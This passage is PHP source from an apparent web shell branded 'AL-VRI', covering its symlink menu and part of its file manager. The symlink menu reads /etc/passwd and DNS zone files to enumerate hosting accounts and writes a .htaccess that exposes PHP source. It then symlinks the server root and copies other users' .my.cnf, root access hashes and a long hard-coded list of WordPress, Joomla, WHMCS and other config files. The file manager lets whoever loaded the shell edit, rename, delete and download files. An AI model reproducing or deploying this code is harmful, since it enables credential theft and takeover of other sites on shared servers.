  938.  
  939.             ".color("No action", "putih");
  940.                     }
  941.                 }
  942.                 //START     | TAMBAHAN MENU
  943.                 elseif ($do == "symlink") {
  944.           ?><form method="POST">
  945.                 <div class="container-fluid">
  946.                     <div class="col-sm-4">
  947.                         <span class="text-nowrap">
  948.                             <span class="text-kuning">"</span>
  949.                             <span class="text-merah">.</span>
  950.                             <span class="text-abu">$target</span>
  951.                             <span class="text-merah">.</span>
  952.                             <span class="text-kuning">"</span>
  953.                         </span>
  954.                         <textarea name="targets" required><?php
  955.                             if(!empty($_POST["targets"])) {
  956.                                 echo $_POST["targets"];
  957.                             }
  958.                             else {
  959.                                 if(@file("/etc/passwd") != "") {
  960.                                     $passwds = @file("/etc/passwd");
  961.                                 }
  962.                                 else {
  963.                                     $cat_passwd = @system("cat /etc/passwd");
  964.                                     $passwds = explode("\n", $cat_passwd);
  965.                                 }
  966.  
  967.                                 foreach($passwds as $passwd) {
  968.                                     preg_match_all("/\/(.+):/", $passwd, $target);
  969.                                     $target = str_replace(":", "", $target[0][0]);
  970.                                     if (strlen(trim($target)) > 4) {
  971.                                         echo "\n".$target;
  972.                                     }
  973.                                 }
  974.                             }
  975.                       ?></textarea>
  976.                     </div>
  977.                     <div class="col-sm-4">
  978.                         <span class="text-nowrap">
  979.                             <span class="text-kuning">"</span>
  980.                             <span class="text-merah">.</span>
  981.                             <span class="text-abu">$htaccess</span>
  982.                             <span class="text-merah">.</span>
  983.                             <span class="text-kuning">"</span>
  984.                         </span>
  985.                         <textarea name="htaccess" required><?php
  986.                             if (!empty($_POST["htaccess"])) {
  987.                                 echo $_POST["htaccess"];
  988.                             }
  989.                             elseif (preg_match("/Litespeed/i", "".$_SERVER["SERVER_SOFTWARE"]."")) {
  990.                                 echo "Options +FollowSymLinks
  991. DirectoryIndex AL-VRI.indonesiapeople
  992. RemoveHandler .php
  993. AddType application/octet-stream .php";
  994.                             }
  995.                             elseif (preg_match("/Apache/i", "".$_SERVER["SERVER_SOFTWARE"]."")) {
  996.                                 echo "Options Indexes FollowSymLinks
  997. DirectoryIndex AL-VRI.indonesiapeople
  998. AddType txt .php
  999. AddHandler txt .php";
  1000.                             }
  1001.                             else {
  1002.                                 echo "OPTIONS Indexes FollowSymlinks SymlinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  1003. Options Indexes FollowSymlinks
  1004. ForceType text/plain
  1005. AddType text/plain .php
  1006. AddType text/plain .html
  1007. AddType text/html .shtml
  1008. AddType txt .php
  1009. AddHandler server-parsed .php
  1010. AddHandler txt .php
  1011. AddHandler txt .html
  1012. AddHandler txt .shtml
  1013. Options All
  1014. Options All
  1015. ReadmeName AL-VRI.indonesiapeople";
  1016.                             }
  1017.                       ?></textarea>
  1018.                     </div>
  1019.                     <div class="col-sm-4">
  1020.                         <span class="text-kuning">INFORMATIONS</span>
  1021.                         <textarea rows="15" cols="50"><?php
  1022.                             if(@file("/etc/named.conf") != "") {
  1023.                                 echo "\n[ SITE - USER | @file(\"/etc/named.conf\") ]\n";
  1024.                                 foreach(@file("/etc/named.conf") as $sites){
  1025.                                     if(eregi("zone", $sites)) {
  1026.                                         preg_match_all("/zone \"(.*)\"/", $sites, $site);
  1027.                                         if(strlen(trim($site[1][0])) > 2) {
  1028.                                             $user = posix_getpwuid(@fileowner("/etc/valiases/".$site[1][0]));
  1029.                                             echo "\n".$site[1][0]." | ".$user["name"];
  1030.                                         }
  1031.                                     }
  1032.                                 }
  1033.  
  1034.                                 echo "\n\n\n";
  1035.                             }
  1036.  
  1037.                             if(@file("/etc/passwd") != "") {
  1038.                                 echo "\n[ USER | @file(\"/etc/passwd\") ]\n";
  1039.                                 foreach(@file("/etc/passwd") as $passwd) {
  1040.                                     $user = explode(":", $passwd);
  1041.                                     echo "\n".$user[0];
  1042.                                 }
  1043.  
  1044.                                 echo "\n\n\n";
  1045.                             }
  1046.  
  1047.                             if(is_dir("/var/named")) {
  1048.                                 echo "\n[ SITE | ls /var/named ]\n";
  1049.                                 foreach(array_diff(scandir("/var/named"), array(".", "..")) as $site) {
  1050.                                     if(preg_match("/db/i", $site)) {
  1051.                                         echo "\n".substr($site, 0, -3);
  1052.                                     }
  1053.                                 }
  1054.  
  1055.                                 echo "\n\n\n";
  1056.                             }
  1057.                       ?></textarea>
  1058.                     </div>
  1059.                 <div>
  1060.                 <div class="col-sm-12 text-nowrap">
  1061.                     <span class="text-abu">$targets</span>
  1062.                     <span class="text-merah">.</span>
  1063.                     <span class="text-kuning">"/"</span>
  1064.                     <span class="text-merah">.</span>
  1065.                     <input type="text" name="nextroot" style="width: 325px; text-align: center;" value="<?= !empty($_POST["nextroot"]) ? $_POST["nextroot"] : "" ?>" placeholder="public_html; httpdocs; htdocs; etc;">
  1066.                     <span class="text-merah">.</span>
  1067.                     <span class="text-kuning">"/"</span>
  1068.                     <span class="text-merah">.</span>
  1069.                     <span class="text-abu">$configs</span>
  1070.                 </div>
  1071.                 <div class="col-sm-12">
  1072.                     <span class="text-abu">Example :</span>
  1073.                     <span class="text-hijau">/home/alvri/public_html/</span>
  1074.                     <span class="text-abu">=></span>
  1075.                     <span class="text-merah">public_html</span>
  1076.                 </div>
  1077.                 <div class="col-sm-12">
  1078.                     <input type="submit" name="submit" value="Go">
  1079.                 </div>
  1080.             </form>
  1081.             <div class="text-left">
  1082.                 <?php
  1083.                     if (!empty($_POST["submit"])) {
  1084.                         echo "<span class=\"text-abu\">[ START ]</span>";
  1085.                         $targets = explode("\n", $_POST["targets"]);
  1086.                         $nextroot = trim($_POST["nextroot"]);
  1087.                         $htaccess = $_POST["htaccess"];
  1088.                         $server = gethostbyname($_SERVER["HTTP_HOST"]);
  1089.                         $configs = array(
  1090.                             "account/configuration.php" => "---WHMCS",
  1091.                             "accounts/configuration.php" => "---WHMCS",
  1092.                             "auto/configuration.php" => "---WHMCS",
  1093.                             "autobuy/configuration.php" => "---WHMCS",
  1094.                             "bill/configuration.php" => "---WHMCS",
  1095.                             "billing/configuration.php" => "---WHMCS",
  1096.                             "buy/configuration.php" => "---WHMCS",
  1097.                             "cart/configuration.php" => "---WHMCS",
  1098.                             "central/configuration.php" => "---WHMCS",
  1099.                             "checkout/configuration.php" => "---WHMCS",
  1100.                             "client/configuration.php" => "---WHMCS",
  1101.                             "client-area/configuration.php" => "---WHMCS",
  1102.                             "client-zone/configuration.php" => "---WHMCS",
  1103.                             "clientarea/configuration.php" => "---WHMCS",
  1104.                             "cliente/configuration.php" => "---WHMCS",
  1105.                             "clientes/configuration.php" => "---WHMCS",
  1106.                             "clienti/configuration.php" => "---WHMCS",
  1107.                             "clients/configuration.php" => "---WHMCS",
  1108.                             "clients-area/configuration.php" => "---WHMCS",
  1109.                             "clientsarea/configuration.php" => "---WHMCS",
  1110.                             "clientsupport/configuration.php" => "---WHMCS",
  1111.                             "clientzone/configuration.php" => "---WHMCS",
  1112.                             "cpanel/configuration.php" => "---WHMCS",
  1113.                             "company/configuration.php" => "---WHMCS",
  1114.                             "configuration.php" => "---JOOMLA-or-WHMCS",
  1115.                             "core/configuration.php" => "---WHMCS",
  1116.                             "customer/configuration.php" => "---WHMCS",
  1117.                             "customers/configuration.php" => "---WHMCS",
  1118.                             "finance/configuration.php" => "---WHMCS",
  1119.                             "financeiro/configuration.php" => "---WHMCS",
  1120.                             "go/configuration.php" => "---WHMCS",
  1121.                             "host/configuration.php" => "---WHMCS",
  1122.                             "hosts/configuration.php" => "---WHMCS",
  1123.                             "hosting/configuration.php" => "---WHMCS",
  1124.                             "hostings/configuration.php" => "---WHMCS",
  1125.                             "klien/configuration.php" => "---WHMCS",
  1126.                             "manage/configuration.php" => "---WHMCS",
  1127.                             "manager/configuration.php" => "---WHMCS",
  1128.                             "member/configuration.php" => "---WHMCS",
  1129.                             "members/configuration.php" => "---WHMCS",
  1130.                             "my/configuration.php" => "---WHMCS",
  1131.                             "my-account/configuration.php" => "---WHMCS",
  1132.                             "my-account/client/configuration.php" => "---WHMCS",
  1133.                             "my-accounts/configuration.php" => "---WHMCS",
  1134.                             "my-accounts/client/configuration.php" => "---WHMCS",
  1135.                             "myaccount/configuration.php" => "---WHMCS",
  1136.                             "myaccounts/configuration.php" => "---WHMCS",
  1137.                             "myshop/configuration.php" => "---WHMCS",
  1138.                             "order/configuration.php" => "---WHMCS",
  1139.                             "orders/configuration.php" => "---WHMCS",
  1140.                             "pay/configuration.php" => "---WHMCS",
  1141.                             "payment/configuration.php" => "---WHMCS",
  1142.                             "orders/configuration.php" => "---WHMCS",
  1143.                             "painel/configuration.php" => "---WHMCS",
  1144.                             "panel/configuration.php" => "---WHMCS",
  1145.                             "panels/configuration.php" => "---WHMCS",
  1146.                             "portal/configuration.php" => "---WHMCS",
  1147.                             "portals/configuration.php" => "---WHMCS",
  1148.                             "purchase/configuration.php" => "---WHMCS",
  1149.                             "sale/configuration.php" => "---WHMCS",
  1150.                             "secure/configuration.php" => "---WHMCS",
  1151.                             "secure/whm/configuration.php" => "---WHMCS",
  1152.                             "secure/whmcs/configuration.php" => "---WHMCS",
  1153.                             "shop/configuration.php" => "---WHMCS",
  1154.                             "shopping/configuration.php" => "---WHMCS",
  1155.                             "submitticket.php" => "---WHMCS",
  1156.                             "support/configuration.php" => "---WHMCS",
  1157.                             "supporte/configuration.php" => "---WHMCS",
  1158.                             "supports/configuration.php" => "---WHMCS",
  1159.                             "web/configuration.php" => "---WHMCS",
  1160.                             "Web/configuration.php" => "---WHMCS",
  1161.                             "WEB/configuration.php" => "---WHMCS",
  1162.                             "webhost/configuration.php" => "---WHMCS",
  1163.                             "Webhost/configuration.php" => "---WHMCS",
  1164.                             "WEBHOST/configuration.php" => "---WHMCS",
  1165.                             "webhosting/configuration.php" => "---WHMCS",
  1166.                             "Webhosting/configuration.php" => "---WHMCS",
  1167.                             "WEBHOSTING/configuration.php" => "---WHMCS",
  1168.                             "whm/configuration.php" => "---WHMCS",
  1169.                             "whm/whmcs/configuration.php" => "---WHMCS",
  1170.                             "whm/WHMCS/configuration.php" => "---WHMCS",
  1171.                             "Whm/configuration.php" => "---WHMCS",
  1172.                             "WHM/configuration.php" => "---WHMCS",
  1173.                             "whmc/configuration.php" => "---WHMCS",
  1174.                             "whmc/WHM/configuration.php" => "---WHMCS",
  1175.                             "whmcs/configuration.php" => "---WHMCS",
  1176.                             "Whmcs/configuration.php" => "---WHMCS",
  1177.                             "WHMCS/configuration.php" => "---WHMCS",
  1178.                             "whmcs2/configuration.php" => "---WHMCS",
  1179.                             "Whmcs2/configuration.php" => "---WHMCS",
  1180.                             "WHMCS2/configuration.php" => "---WHMCS",
  1181.                             "whmcs3/configuration.php" => "---WHMCS",
  1182.                             "Whmcs3/configuration.php" => "---WHMCS",
  1183.                             "WHMCS3/configuration.php" => "---WHMCS",
  1184.  
  1185.                             "admin/conf.php" => ".admin.conf.php---OTHER",
  1186.                             "application/config/database.php" => ".application.config.database.php---OTHER",
  1187.                             "conf_global.php" => ".conf_global.php---OTHER",
  1188.                             "config.php" => ".config.php---OTHER",
  1189.                             "config/connect.php" => ".config.connect.php---OTHER",
  1190.                             "config/database.php" => ".config.database.php---OTHER",
  1191.                             "config/settings.inc.php" => ".config.settings.inc.php---OTHER",
  1192.                             "config/site.php" => ".config.site.php---OTHER",
  1193.                             "conn.php" => ".conn.php---OTHER",
  1194.                             "forum/inc/config.php" => ".forum.inc.config.php---OTHER",
  1195.                             "inc/config.inc.php" => ".inc.config.inc.php---OTHER",
  1196.                             "incl/config.php" => ".incl.config.php---OTHER",
  1197.                             "include/config.php" => ".include.config.php---OTHER",
  1198.                             "include/connect.php" => ".include.connect.php---OTHER",
  1199.                             "include/db.php" => ".include.db.php---OTHER",
  1200.                             "includes/functions.php" => ".includes.functions.php---OTHER",
  1201.                             "lib/config.php" => ".lib.config.php---OTHER",
  1202.                             "lib/Config.php" => ".lib.Config.php---OTHER",
  1203.                             "libs/config.php" => ".libs.config.php---OTHER",
  1204.                             "libs/Config.php" => ".libs.Config.php---OTHER",
  1205.                             "mk_conf.php" => ".mk_conf.php---OTHER",
  1206.                             "Settings.php" => ".Settings.php---OTHER",
  1207.                             "SSI.php" => ".SSI.php---OTHER",
  1208.                             "system/sistem.php" => ".system.sistem.php---OTHER",
  1209.                             "up/includes/config.php" => ".up.includes.config.php---OTHER",
  1210.                             "upload/includes/config.php" => ".upload.includes.config.php---OTHER",
  1211.  
  1212.                             "apps/wp-config.php" => ".apps---WORDPRESS",
  1213.                             "apps/wordpress/wp-config.php" => ".apps.wordpress---WORDPRESS",
  1214.                             "beta/wp-config.php" => ".beta---WORDPRESS",
  1215.                             "blog/wp-config.php" => ".blog---WORDPRESS",
  1216.                             "blogs/wp-config.php" => ".blogs---WORDPRESS",
  1217.                             "cms/wp-config.php" => ".cms---WORDPRESS",
  1218.                             "demo/wp-config.php" => ".demo---WORDPRESS",
  1219.                             "demos/wp-config.php" => ".demos---WORDPRESS",
  1220.                             "home/wp-config.php" => ".home---WORDPRESS",
  1221.                             "home1/wp-config.php" => ".home1---WORDPRESS",
  1222.                             "home2/wp-config.php" => ".home2---WORDPRESS",
  1223.                             "home3/wp-config.php" => ".home3---WORDPRESS",
  1224.                             "main/wp-config.php" => ".main---WORDPRESS",
  1225.                             "member/wp-config.php" => ".member---WORDPRESS",
  1226.                             "members/wp-config.php" => ".members---WORDPRESS",
  1227.                             "new/wp-config.php" => ".new---WORDPRESS",
  1228.                             "news/wp-config.php" => ".news---WORDPRESS",
  1229.                             "old/wp-config.php" => ".old---WORDPRESS",
  1230.                             "OLD/wp-config.php" => ".OLD---WORDPRESS",
  1231.                             "olds/wp-config.php" => ".olds---WORDPRESS",
  1232.                             "OLDS/wp-config.php" => ".OLDS---WORDPRESS",
  1233.                             "portal/wp-config.php" => ".portal---WORDPRESS",
  1234.                             "press/wp-config.php" => ".press---WORDPRESS",
  1235.                             "site/wp-config.php" => ".site---WORDPRESS",
  1236.                             "Site/wp-config.php" => ".Site---WORDPRESS",
  1237.                             "test/wp-config.php" => ".test---WORDPRESS",
  1238.                             "v1/wp-config.php" => ".v1---WORDPRESS",
  1239.                             "v2/wp-config.php" => ".v2---WORDPRESS",
  1240.                             "v3/wp-config.php" => ".v3---WORDPRESS",
  1241.                             "wp-config.php" => "---WORDPRESS",
  1242.                             "wp/beta/wp-config.php" => ".wp.beta---WORDPRESS",
  1243.                             "wp/test/wp-config.php" => ".wp.test---WORDPRESS",
  1244.                             "wp/wp-config.php" => ".wp---WORDPRESS",
  1245.                             "WP/wp-config.php" => ".WP---WORDPRESS",
  1246.                             "wordpress/beta/wp-config.php" => ".wordpress.beta---WORDPRESS",
  1247.                             "wordpress/wp-config.php" => ".wordpress---WORDPRESS",
  1248.                             "Wordpress/wp-config.php" => ".Wordpress---WORDPRESS",
  1249.  
  1250.                             "apps/configuration.php" => ".apps---JOOMLA",
  1251.                             "apps/joomla/configuration.php" => ".apps.joomla---JOOMLA",
  1252.                             "beta/configuration.php" => ".beta---JOOMLA",
  1253.                             "blog/configuration.php" => ".blog---JOOMLA",
  1254.                             "blogs/configuration.php" => ".blogs---JOOMLA",
  1255.                             "cms/configuration.php" => ".cms---JOOMLA",
  1256.                             "demo/configuration.php" => ".demo---JOOMLA",
  1257.                             "demos/configuration.php" => ".demos---JOOMLA",
  1258.                             "home/configuration.php" => ".home---JOOMLA",
  1259.                             "home1/configuration.php" => ".home1---JOOMLA",
  1260.                             "home2/configuration.php" => ".home2---JOOMLA",
  1261.                             "home3/configuration.php" => ".home3---JOOMLA",
  1262.                             "joo/configuration.php" => ".joo---JOOMLA",
  1263.                             "joomla/configuration.php" => ".joomla---JOOMLA",
  1264.                             "main/configuration.php" => ".main---JOOMLA",
  1265.                             "member/configuration.php" => ".member---JOOMLA",
  1266.                             "members/configuration.php" => ".members---JOOMLA",
  1267.                             "new/configuration.php" => ".new---JOOMLA",
  1268.                             "news/configuration.php" => ".news---JOOMLA",
  1269.                             "old/configuration.php" => ".old---JOOMLA",
  1270.                             "OLD/configuration.php" => ".OLD---JOOMLA",
  1271.                             "olds/configuration.php" => ".olds---JOOMLA",
  1272.                             "OLDS/configuration.php" => ".OLDS---JOOMLA",
  1273.                             "portal/configuration.php" => ".portal---JOOMLA",
  1274.                             "site/configuration.php" => ".site---JOOMLA",
  1275.                             "Site/configuration.php" => ".Site---JOOMLA",
  1276.                             "test/configuration.php" => ".test---JOOMLA",
  1277.                             "v1/configuration.php" => ".v1---JOOMLA",
  1278.                             "v2/configuration.php" => ".v2---JOOMLA",
  1279.                             "v3/configuration.php" => ".v3---JOOMLA",
  1280.  
  1281.                             "requires/config.php" => "---AM4SS",
  1282.  
  1283.                             "amember/config.inc.php" => "---AMEMBER",
  1284.                             "aMember/config.inc.php" => "---AMEMBER",
  1285.  
  1286.                             "bw-configs/config.ini" => "---BOSWEB",
  1287.  
  1288.                             "site/default/default.settings.php" => ".site---DRUPAL",
  1289.                             "site/default/settings.php" => ".site---DRUPAL",
  1290.                             "sites/default/default.settings.php" => ".sites---DRUPAL",
  1291.                             "sites/default/settings.php" => ".sites---DRUPAL",
  1292.                             "default/default.settings.php" => "---DRUPAL",
  1293.                             "default/settings.php" => "---DRUPAL",
  1294.  
  1295.                             "application/config/database.php" => "---ELLISLAB",
  1296.  
  1297.                             "billing/includes/iso4217.php" => ".billing---HOSTBILLS",
  1298.                             "billings/includes/iso4217.php" => ".billings---HOSTBILLS",
  1299.                             "client/includes/iso4217.php" => ".client---HOSTBILLS",
  1300.                             "host/includes/iso4217.php" => ".host---HOSTBILLS",
  1301.                             "hosts/includes/iso4217.php" => ".hosts---HOSTBILLS",
  1302.                             "hosting/includes/iso4217.php" => ".hosting---HOSTBILLS",
  1303.                             "hostings/includes/iso4217.php" => ".hostings---HOSTBILLS",
  1304.                             "hostbill/includes/iso4217.php" => ".hostbill---HOSTBILLS",
  1305.                             "hostbills/includes/iso4217.php" => ".hostbills---HOSTBILLS",
  1306.                             "hostbillincludes/iso4217.php" => ".hostbillincludes---HOSTBILLS",
  1307.                             "includes/iso4217.php" => "---HOSTBILLS",
  1308.                             "support/includes/iso4217.php" => ".support---HOSTBILLS",
  1309.                             "supports/includes/iso4217.php" => ".supports---HOSTBILLS",
  1310.  
  1311.                             "arcade/functions/dbclass.php" => "---IBPROARCADE",
  1312.  
  1313.                             "config/koneksi.php" => "---LOKOMEDIA",
  1314.                             "lokomedia/config/koneksi.php" => ".lokomedia---LOKOMEDIA",
  1315.  
  1316.                             "app/etc/local.xml" => "---MAGENTO",
  1317.  
  1318.                             "article/config.php" => "---NWAHY",
  1319.                             "library/config.php" => "---NWAHY",
  1320.  
  1321.                             "admin/config.php" => "---OPENCART-or-OTHER",
  1322.  
  1323.                             "config.inc.php" => "---OPENJOURNALSISTEM",
  1324.  
  1325.                             "includes/configure.php" => "---OSCOMMERCE",
  1326.                             "os/includes/configure.php" => ".os---OSCOMMERCE",
  1327.                             "oscom/includes/configure.php" => ".oscom---OSCOMMERCE",
  1328.                             "oscommerce/includes/configure.php" => ".oscommerce---OSCOMMERCE",
  1329.                             "sale/includes/configure.php" => ".sale---OSCOMMERCE",
  1330.                             "shop/includes/configure.php" => ".shop---OSCOMMERCE",
  1331.                             "shopping/includes/configure.php" => ".shopping---OSCOMMERCE",
  1332.  
  1333.                             "include/ost-config.php" => "---OSTTICKET",
  1334.                             "ticket/include/ost-config.php" => "---OSTTICKET",
  1335.  
  1336.                             "forum/config.php" => "---PHPBB",
  1337.  
  1338.                             "connect.php" => "---PHPFUSION-or-OTHER",
  1339.  
  1340.                             "public_htm/html/config.php" => "---PHPNUKE",
  1341.  
  1342.                             "po-content/config.php" => "---POPOJI",
  1343.  
  1344.                             "config/settings.inc.php" => "---PRESTASHOP",
  1345.  
  1346.                             "suspended.page/index.html" => "---RESELLER",
  1347.  
  1348.                             "slconfig.php" => "---SITELOCK",
  1349.  
  1350.                             "forum/Settings.php" => ".forum---SMF",
  1351.                             "forums/Settings.php" => ".forums---SMF",
  1352.                             "smf/Settings.php" => ".smf---SMF",
  1353.                             "Settings.php" => "---SMF",
  1354.  
  1355.                             "cc/includes/class_core.php" => ".cc---VBULLETIN",
  1356.                             "cc/includes/config.php" => ".cc---VBULLETIN",
  1357.                             "includes/class_core.php" => "---VBULLETIN",
  1358.                             "includes/config.php" => "---VBULLETIN",
  1359.                             "forum/includes/class_core.php" => ".forum---VBULLETIN",
  1360.                             "forum/includes/config.php" => ".forum---VBULLETIN",
  1361.                             "vb/includes/class_core.php" => ".vb---VBULLETIN",
  1362.                             "vb/includes/config.php" => ".vb---VBULLETIN",
  1363.                             "vb1/includes/class_core.php" => ".vb1---VBULLETIN",
  1364.                             "vb1/includes/config.php" => ".vb1---VBULLETIN",
  1365.                             "vb2/includes/class_core.php" => ".vb2---VBULLETIN",
  1366.                             "vb2/includes/config.php" => ".vb2---VBULLETIN",
  1367.                             "vb3/includes/class_core.php" => ".vb3---VBULLETIN",
  1368.                             "vb3/includes/config.php" => ".vb3---VBULLETIN",
  1369.  
  1370.                             "vdo_config.php" => "---VOODOO",
  1371.  
  1372.                             "includes/dist-configure.php" => "---ZENCART",
  1373.                             "zencart/includes/dist-configure.php" => ".zencart---ZENCART",
  1374.                             "shop/includes/dist-configure.php" => ".shop---ZENCART"
  1375.                         );
  1376.  
  1377.                         if(is_dir("AL-VRI")) {
  1378.                             chdir("AL-VRI");
  1379.                             $file = @fopen(".htaccess", "w");
  1380.                             @fwrite($file, $htaccess);
  1381.                             @fclose($file);
  1382.                             @symlink("/", "aaalvriROOT");
  1383.                             if(is_dir("symlink")) {
  1384.                                 chdir("symlink");
  1385.                             }
  1386.                             else {
  1387.                                 mkdir("symlink", 0777);
  1388.                                 chdir("symlink");
  1389.                             }
  1390.                         }
  1391.                         else {
  1392.                             mkdir("AL-VRI", 0777);
  1393.                             chdir("AL-VRI");
  1394.                             $file = @fopen(".htaccess", "w");
  1395.                             @fwrite($file, $htaccess);
  1396.                             @fclose($file);
  1397.                             @symlink("/", "aaalvriROOT");
  1398.                             mkdir("symlink", 0777);
  1399.                             chdir("symlink");
  1400.                         }
  1401.  
  1402.                            @copy($diroot."/root/.accesshash", $server."---WHMCS.txt");
  1403.                         @symlink("/root/.accesshash", $server."---WHMCS.txt");
  1404.                            
  1405.                         foreach($targets as $address) {
  1406.                             $target = trim($address);
  1407.                             $users = explode("/", $target);
  1408.                             foreach ($users as $pengguna) {
  1409.                                 $user = trim($pengguna);
  1410.                             }
  1411.  
  1412.                                @copy($target."/.my.cnf", $user."---CPANEL.txt");
  1413.                             @symlink($target."/.my.cnf", $user."---CPANEL.txt");
  1414.  
  1415.                                @copy($target."/.accesshash", $user."---WHMCS.txt");
  1416.                             @symlink($target."/.accesshash", $user."---WHMCS.txt");
  1417.  
  1418.                             if(!empty($nextroot)) {
  1419.                                    @copy($target."/".$nextroot."/".$user."/.my.cnf", $user."---CPANEL.txt");
  1420.                                 @symlink($target."/".$nextroot."/".$user."/.my.cnf", $user."---CPANEL.txt");
  1421.  
  1422.                                    @copy($target."/".$nextroot."/".$user."/.accesshash", $user."---WHMCS.txt");
  1423.                                 @symlink($target."/".$nextroot."/".$user."/.accesshash", $user."---WHMCS.txt");
  1424.                             }
  1425.  
  1426.                             foreach($configs as $config => $information) {
  1427.                                    @copy($target."/".$config, $user.$information.".txt");
  1428.                                 @symlink($target."/".$config, $user.$information.".txt");
  1429.  
  1430.                                 if(!empty($nextroot)) {
  1431.                                        @copy($target."/".$nextroot."/".$config, $user.$information.".txt");
  1432.                                     @symlink($target."/".$nextroot."/".$config, $user.$information.".txt");
  1433.                                 }
  1434.                             }
  1435.  
  1436.                             echo "
  1437.                 <div>".$target."</div>";
  1438.                         }
  1439.                         echo "
  1440.                 <span class=\"text-abu\">[ DONE ]</span>";
  1441.                     } ?>
  1442.  
  1443.             </div><?php
  1444.                 }
  1445.                 /*elseif ($do == "[nama menu]") {
  1446.                     function [nama fungsi]() {
  1447.                         [isi fungsi]
  1448.                     }
  1449.           ?>[isi menu]<?php
  1450.                 }*/
  1451.                 //FINISH    | TAMBAHAN MENU
  1452.                 else {
  1453.                     header("Location: ?al=vri");
  1454.                 }
  1455.             }
  1456.             else {
  1457.                     echo color("Directory \"".$_GET["directory"]."\" is not exists.", "merah");
  1458.             }
  1459.         }
  1460.         elseif (isset($_GET["action"]) && !empty($_GET["directory"]) && !empty($_GET["action"])) {
  1461.             $action = $_GET["action"];
  1462.             $get_directory  = $_GET["directory"];
  1463.             $post_directory = isset($_POST["directory"]);
  1464.             $post_data      = isset($_POST["data"]);
  1465.  
  1466.             if (!empty($_GET["data"]) && is_file($get_directory."/".$_GET["data"])) {
  1467.                 $get_data   = $_GET["data"];
  1468.                 $target     = $get_directory."/".$get_data;
  1469.  
  1470.           ?><div class="text-left">
  1471.                 <span>[ <?= permission($target, "color") ?> ] Filename: <?= $target ?></span>
  1472.             </div>
  1473.             <div>
  1474.                 <span class="text-nowrap">
  1475.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=view">VIEW</a> ]
  1476.                 </span>
  1477.                 <span class="text-nowrap">
  1478.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=edit">EDIT</a> ]
  1479.                 </span>
  1480.                 <span class="text-nowrap">
  1481.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=rename">RENAME</a> ]
  1482.                 </span>
  1483.                 <span class="text-nowrap">
  1484.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=delete">DELETE</a> ]
  1485.                 </span>
  1486.                 <span class="text-nowrap">
  1487.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=download">DOWNLOAD</a> ]
  1488.                 </span>
  1489.             </div><?php
  1490.             }
  1491.             elseif (!empty($_GET["data"]) && is_dir($get_directory."/".$_GET["data"])) {
  1492.                 $get_data   = $_GET["data"];
  1493.                 $target     = $get_directory."/".$get_data;
  1494.  
  1495.           ?><div class="text-left">
  1496.                 <span>[ <?= permission($target, "color") ?> ] Directory: <?= $target ?></span>
  1497.             </div>
  1498.             <div>
  1499.                 <span class="text-nowrap">
  1500.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $_GET["data"] ?>&action=rename">RENAME</a> ]
  1501.                 </span>
  1502.                 <span class="text-nowrap">
  1503.                     [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $_GET["data"] ?>&action=delete">DELETE</a> ]
  1504.                 </span>
  1505.             </div><?php
  1506.             }
  1507.             else {
  1508.                 $target = $_GET["directory"];
  1509.  
  1510.           ?><div class="text-left">
  1511.                 <span>[ <?= permission($target, "color") ?> ] Directory: <?= $target ?></span>
  1512.             </div><?php
  1513.             }
  1514.  
  1515.             if ($action == "newfile") {
  1516.                 if (is_dir($target)) { ?>
  1517.  
  1518.  
  1519.             <form method="POST">
  1520.                 <input type="text" name="directory" placeholder="Directory" value="<?= !empty($_POST["directory"]) ? $_POST["directory"] : $_GET["directory"] ?>" required>
  1521.                 <input type="text" name="data" placeholder="New file name | example: al-vri.txt" value="<?= !empty($_POST["data"]) ? $_POST["data"] : "" ?>" required>
  1522.                 <input type="submit" name="submit" value="New File">
  1523.             </form><?php
  1524.                     if(isset($_POST["submit"])) {
  1525.                             $directory  = htmlspecialchars($_POST["directory"]);
  1526.                             $data       = htmlspecialchars($_POST["data"]);
  1527.                         if (is_dir($directory)) {
  1528.                             if(fopen($directory."/".$data, "a+")) {
  1529.                                 header("Location: ?al=vri&directory=".$directory."&data=".$data."&action=edit");
  1530.                             }
  1531.                             else {
  1532.                                 echo "
  1533.  
  1534.             ".color("Permission denied!", "merah");
  1535.                             }
  1536.                         }
  1537.                         else {
  1538.                             echo "
  1539.  
  1540.             ".color("Directory \"".$directory."\" is not exists.", "merah");
  1541.                         }
  1542.                     }
  1543.                 }
  1544.                 else {
  1545.                     echo "
  1546.  
  1547.             ".color("Directory \"".$target."\" is not exists.", "merah");
  1548.                 }
  1549.             }
  1550.             elseif ($action == "newfolder") {
  1551.                 if (is_dir($target)) { ?>
  1552.  
  1553.  
  1554.             <form method="POST">
  1555.                 <input type="text" name="directory" placeholder="Path" value="<?= !empty($_POST["directory"]) ? $_POST["directory"] : $_GET["directory"] ?>" required>
  1556.                 <input type="text" name="data" placeholder="New folder name | example: al-vri" value="<?= !empty($_POST["data"]) ? $_POST["data"] : "" ?>" required>
  1557.                 <input type="submit" name="submit" value="New Folder">
  1558.             </form><?php
  1559.                     if(isset($_POST["submit"])) {
  1560.                             $directory  = htmlspecialchars($_POST["directory"]);
  1561.                             $data       = htmlspecialchars($_POST["data"]);
  1562.                         if (is_dir($directory)) {
  1563.                             if(@mkdir($directory."/".$data)) {
  1564.                                 header("Location: ?al=vri&directory=".$directory);
  1565.                             }
  1566.                             else {
  1567.                                 echo "
  1568.  
  1569.             ".color("Permission denied!", "merah");
  1570.                             }
  1571.                         }
  1572.                         else {
  1573.                             echo "
  1574.  
  1575.             ".color("Directory \"".$directory."\" is not exists.", "merah");
  1576.                         }
  1577.                     }
  1578.                 }
  1579.                 else {
  1580.                     echo "
  1581.  
  1582.             ".color("Directory \"".$target."\" is not exists.", "merah");
  1583.                 }
